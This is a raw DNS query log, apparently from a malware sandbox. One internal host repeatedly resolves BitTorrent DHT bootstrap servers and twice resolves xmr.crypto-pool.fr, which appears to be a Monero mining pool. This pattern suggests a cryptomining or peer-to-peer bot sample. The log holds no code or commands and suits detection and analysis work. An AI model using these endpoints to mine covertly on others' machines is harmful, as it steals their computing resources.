Aug 23, 2023 09:14:54.801182985 CEST	192.168.2.3	8.8.8.8	0xd3b6	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:55.878714085 CEST	192.168.2.3	8.8.8.8	0x6	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:55.929487944 CEST	192.168.2.3	8.8.8.8	0x145f	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:56.984436035 CEST	192.168.2.3	8.8.8.8	0x94a6	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.013063908 CEST	192.168.2.3	8.8.8.8	0xbb02	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.167650938 CEST	192.168.2.3	8.8.8.8	0xfb0f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.311620951 CEST	192.168.2.3	8.8.8.8	0x8117	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.348133087 CEST	192.168.2.3	8.8.8.8	0xbda	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.374310970 CEST	192.168.2.3	8.8.8.8	0xd199	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.531550884 CEST	192.168.2.3	8.8.8.8	0x42a8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:57.666233063 CEST	192.168.2.3	8.8.8.8	0xd5a9	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.510237932 CEST	192.168.2.3	8.8.8.8	0x2b91	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.540985107 CEST	192.168.2.3	8.8.8.8	0xda9c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.606079102 CEST	192.168.2.3	8.8.8.8	0x56f4	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.641714096 CEST	192.168.2.3	8.8.8.8	0x41c1	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.712261915 CEST	192.168.2.3	8.8.8.8	0xb734	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.747529030 CEST	192.168.2.3	8.8.8.8	0xe024	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.900450945 CEST	192.168.2.3	8.8.8.8	0x7dc	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.949928045 CEST	192.168.2.3	8.8.8.8	0xfeea	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.974520922 CEST	192.168.2.3	8.8.8.8	0x53ea	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:59.995150089 CEST	192.168.2.3	8.8.8.8	0xb06b	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.053966999 CEST	192.168.2.3	8.8.8.8	0x5646	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.086785078 CEST	192.168.2.3	8.8.8.8	0xd2c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.113600016 CEST	192.168.2.3	8.8.8.8	0x6c1f	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.162149906 CEST	192.168.2.3	8.8.8.8	0xafcf	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.180428982 CEST	192.168.2.3	8.8.8.8	0x7de9	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:00.199697018 CEST	192.168.2.3	8.8.8.8	0x86ca	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:03.997725964 CEST	192.168.2.3	8.8.8.8	0xcf9a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.052083969 CEST	192.168.2.3	8.8.8.8	0xb007	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.085161924 CEST	192.168.2.3	8.8.8.8	0xd127	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.111968994 CEST	192.168.2.3	8.8.8.8	0x1dde	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.150450945 CEST	192.168.2.3	8.8.8.8	0x3e25	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.186475992 CEST	192.168.2.3	8.8.8.8	0x9065	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.209194899 CEST	192.168.2.3	8.8.8.8	0x1f14	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:04.229003906 CEST	192.168.2.3	8.8.8.8	0x4656	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.100749016 CEST	192.168.2.3	8.8.8.8	0x2ad0	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.131542921 CEST	192.168.2.3	8.8.8.8	0x21d0	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.149322987 CEST	192.168.2.3	8.8.8.8	0x274f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.236711979 CEST	192.168.2.3	8.8.8.8	0x2f4d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.308698893 CEST	192.168.2.3	8.8.8.8	0x6d18	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.340542078 CEST	192.168.2.3	8.8.8.8	0xd272	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.375313044 CEST	192.168.2.3	8.8.8.8	0xfbc	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.499358892 CEST	192.168.2.3	8.8.8.8	0x1cb0	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.627518892 CEST	192.168.2.3	8.8.8.8	0xf0e5	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.855537891 CEST	192.168.2.3	8.8.8.8	0x6de	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:05.945230961 CEST	192.168.2.3	8.8.8.8	0x631f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:06.059252977 CEST	192.168.2.3	8.8.8.8	0x1a93	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:06.193583965 CEST	192.168.2.3	8.8.8.8	0x34d	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:06.276546001 CEST	192.168.2.3	8.8.8.8	0x1c6b	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:06.322041988 CEST	192.168.2.3	8.8.8.8	0x16e1	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:06.445159912 CEST	192.168.2.3	8.8.8.8	0x61c4	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.357995033 CEST	192.168.2.3	8.8.8.8	0xfed8	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.539597034 CEST	192.168.2.3	8.8.8.8	0x629a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.706259966 CEST	192.168.2.3	8.8.8.8	0x775f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.845586061 CEST	192.168.2.3	8.8.8.8	0x6845	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:07.948688030 CEST	192.168.2.3	8.8.8.8	0x56c8	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:08.030997992 CEST	192.168.2.3	8.8.8.8	0xe9ff	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:08.289026976 CEST	192.168.2.3	8.8.8.8	0x7705	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:08.349091053 CEST	192.168.2.3	8.8.8.8	0x8daa	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:09.196837902 CEST	192.168.2.3	8.8.8.8	0x56dc	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:10.213180065 CEST	192.168.2.3	8.8.8.8	0x56dc	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.284382105 CEST	192.168.2.3	8.8.8.8	0xeafa	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.397330046 CEST	192.168.2.3	8.8.8.8	0x39dc	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.858206987 CEST	192.168.2.3	8.8.8.8	0xcce3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:11.966226101 CEST	192.168.2.3	8.8.8.8	0xaf45	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:12.050322056 CEST	192.168.2.3	8.8.8.8	0x91d5	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:12.106734037 CEST	192.168.2.3	8.8.8.8	0xb428	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:12.146470070 CEST	192.168.2.3	8.8.8.8	0xcadd	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:15.927594900 CEST	192.168.2.3	8.8.8.8	0x6987	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:15.952459097 CEST	192.168.2.3	8.8.8.8	0x6bbd	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:15.983820915 CEST	192.168.2.3	8.8.8.8	0xb105	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.051090956 CEST	192.168.2.3	8.8.8.8	0x69ca	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.085551023 CEST	192.168.2.3	8.8.8.8	0xd5b8	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.107542038 CEST	192.168.2.3	8.8.8.8	0x4c9c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.170166969 CEST	192.168.2.3	8.8.8.8	0x50e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:16.197025061 CEST	192.168.2.3	8.8.8.8	0x8a3	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.691005945 CEST	192.168.2.3	8.8.8.8	0xbe29	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.729473114 CEST	192.168.2.3	8.8.8.8	0xdabc	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.786878109 CEST	192.168.2.3	8.8.8.8	0x9727	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.821003914 CEST	192.168.2.3	8.8.8.8	0x2741	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.840399981 CEST	192.168.2.3	8.8.8.8	0xea42	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.916457891 CEST	192.168.2.3	8.8.8.8	0x458	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:18.951703072 CEST	192.168.2.3	8.8.8.8	0xcf46	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.008469105 CEST	192.168.2.3	8.8.8.8	0xac67	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.128001928 CEST	192.168.2.3	8.8.8.8	0x5856	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.146199942 CEST	192.168.2.3	8.8.8.8	0x7fd	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.185151100 CEST	192.168.2.3	8.8.8.8	0x8935	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.256994963 CEST	192.168.2.3	8.8.8.8	0xbc	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.286205053 CEST	192.168.2.3	8.8.8.8	0x66d4	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.347054005 CEST	192.168.2.3	8.8.8.8	0x6df7	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.382546902 CEST	192.168.2.3	8.8.8.8	0x6e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:19.439919949 CEST	192.168.2.3	8.8.8.8	0xec1c	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.595146894 CEST	192.168.2.3	8.8.8.8	0xb63d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.620748043 CEST	192.168.2.3	8.8.8.8	0x1bd2	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.674561024 CEST	192.168.2.3	8.8.8.8	0x2eaa	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.702939034 CEST	192.168.2.3	8.8.8.8	0x3aa1	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.734129906 CEST	192.168.2.3	8.8.8.8	0x1015	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.769820929 CEST	192.168.2.3	8.8.8.8	0x993c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.837153912 CEST	192.168.2.3	8.8.8.8	0x1de6	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.864845991 CEST	192.168.2.3	8.8.8.8	0x6118	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:20.958095074 CEST	192.168.2.3	8.8.8.8	0xff38	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.018098116 CEST	192.168.2.3	8.8.8.8	0x47	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.054094076 CEST	192.168.2.3	8.8.8.8	0x8c91	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.072890043 CEST	192.168.2.3	8.8.8.8	0x2d72	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.147965908 CEST	192.168.2.3	8.8.8.8	0xa818	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.174099922 CEST	192.168.2.3	8.8.8.8	0xa212	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.194104910 CEST	192.168.2.3	8.8.8.8	0xeaea	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:21.278780937 CEST	192.168.2.3	8.8.8.8	0xa37	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:22.597697973 CEST	192.168.2.3	8.8.8.8	0x132	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.014689922 CEST	192.168.2.3	8.8.8.8	0xdd63	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.186940908 CEST	192.168.2.3	8.8.8.8	0x3b7a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.322464943 CEST	192.168.2.3	8.8.8.8	0x9802	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.469722033 CEST	192.168.2.3	8.8.8.8	0x57a0	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.565227985 CEST	192.168.2.3	8.8.8.8	0x4f9b	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.625880003 CEST	192.168.2.3	8.8.8.8	0xdd44	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.648755074 CEST	192.168.2.3	8.8.8.8	0x54f9	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.666470051 CEST	192.168.2.3	8.8.8.8	0xaa73	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.799798965 CEST	192.168.2.3	8.8.8.8	0x3274	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.879601955 CEST	192.168.2.3	8.8.8.8	0xf766	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.904660940 CEST	192.168.2.3	8.8.8.8	0x5365	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.972743034 CEST	192.168.2.3	8.8.8.8	0x39fe	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:26.999361038 CEST	192.168.2.3	8.8.8.8	0x5faa	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:27.016737938 CEST	192.168.2.3	8.8.8.8	0x21bb	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:27.049149990 CEST	192.168.2.3	8.8.8.8	0x9a8c	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:27.260744095 CEST	192.168.2.3	8.8.8.8	0xf6e9	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.533409119 CEST	192.168.2.3	8.8.8.8	0x5858	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.587585926 CEST	192.168.2.3	8.8.8.8	0x66cd	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.616487026 CEST	192.168.2.3	8.8.8.8	0x820f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.639252901 CEST	192.168.2.3	8.8.8.8	0xbd04	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.747009993 CEST	192.168.2.3	8.8.8.8	0xf2e5	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.772150040 CEST	192.168.2.3	8.8.8.8	0xcf95	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.889553070 CEST	192.168.2.3	8.8.8.8	0x9c36	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:28.959664106 CEST	192.168.2.3	8.8.8.8	0xf246	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.000582933 CEST	192.168.2.3	8.8.8.8	0x5e62	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.084594011 CEST	192.168.2.3	8.8.8.8	0x557b	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.125189066 CEST	192.168.2.3	8.8.8.8	0x63c1	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.211927891 CEST	192.168.2.3	8.8.8.8	0x1310	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.230792046 CEST	192.168.2.3	8.8.8.8	0xec78	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.307761908 CEST	192.168.2.3	8.8.8.8	0x4181	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.357134104 CEST	192.168.2.3	8.8.8.8	0xddcd	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.497567892 CEST	192.168.2.3	8.8.8.8	0x2801	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.788981915 CEST	192.168.2.3	8.8.8.8	0x8aff	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.829308987 CEST	192.168.2.3	8.8.8.8	0xc889	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:29.929377079 CEST	192.168.2.3	8.8.8.8	0x3334	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:30.017354012 CEST	192.168.2.3	8.8.8.8	0xe401	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:30.043998957 CEST	192.168.2.3	8.8.8.8	0x4cfc	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:30.832813978 CEST	192.168.2.3	8.8.8.8	0x1af9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:31.448790073 CEST	192.168.2.3	8.8.8.8	0x2312	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:32.994388103 CEST	192.168.2.3	8.8.8.8	0x5e27	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:34.836524010 CEST	192.168.2.3	8.8.8.8	0xc267	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:34.915718079 CEST	192.168.2.3	8.8.8.8	0xaec1	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:34.937247992 CEST	192.168.2.3	8.8.8.8	0xf24d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.043385983 CEST	192.168.2.3	8.8.8.8	0x46f9	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.110435009 CEST	192.168.2.3	8.8.8.8	0xdb44	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.131707907 CEST	192.168.2.3	8.8.8.8	0x9918	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.157727003 CEST	192.168.2.3	8.8.8.8	0x16d4	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.222807884 CEST	192.168.2.3	8.8.8.8	0xca4d	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.446806908 CEST	192.168.2.3	8.8.8.8	0x6344	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.540761948 CEST	192.168.2.3	8.8.8.8	0x94e4	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.611284018 CEST	192.168.2.3	8.8.8.8	0xb3a8	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.631401062 CEST	192.168.2.3	8.8.8.8	0xaa38	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.704361916 CEST	192.168.2.3	8.8.8.8	0xe1be	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.726363897 CEST	192.168.2.3	8.8.8.8	0xb435	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.759999990 CEST	192.168.2.3	8.8.8.8	0x6b27	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:35.834306002 CEST	192.168.2.3	8.8.8.8	0x1aa	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.058083057 CEST	192.168.2.3	8.8.8.8	0x9add	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.094078064 CEST	192.168.2.3	8.8.8.8	0xabf3	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.142177105 CEST	192.168.2.3	8.8.8.8	0xd95	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.164180994 CEST	192.168.2.3	8.8.8.8	0x436e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.198157072 CEST	192.168.2.3	8.8.8.8	0x389a	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.256545067 CEST	192.168.2.3	8.8.8.8	0x23b5	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.286626101 CEST	192.168.2.3	8.8.8.8	0x242	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:36.315140009 CEST	192.168.2.3	8.8.8.8	0x3f38	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.191414118 CEST	192.168.2.3	8.8.8.8	0xe2	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.219968081 CEST	192.168.2.3	8.8.8.8	0x1e3d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.286499023 CEST	192.168.2.3	8.8.8.8	0xaf92	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.315444946 CEST	192.168.2.3	8.8.8.8	0xf75	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.351989985 CEST	192.168.2.3	8.8.8.8	0x5a01	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.399846077 CEST	192.168.2.3	8.8.8.8	0x9dda	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:37.429732084 CEST	192.168.2.3	8.8.8.8	0x4f91	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.423649073 CEST	192.168.2.3	8.8.8.8	0x4f91	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.489662886 CEST	192.168.2.3	8.8.8.8	0x3836	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
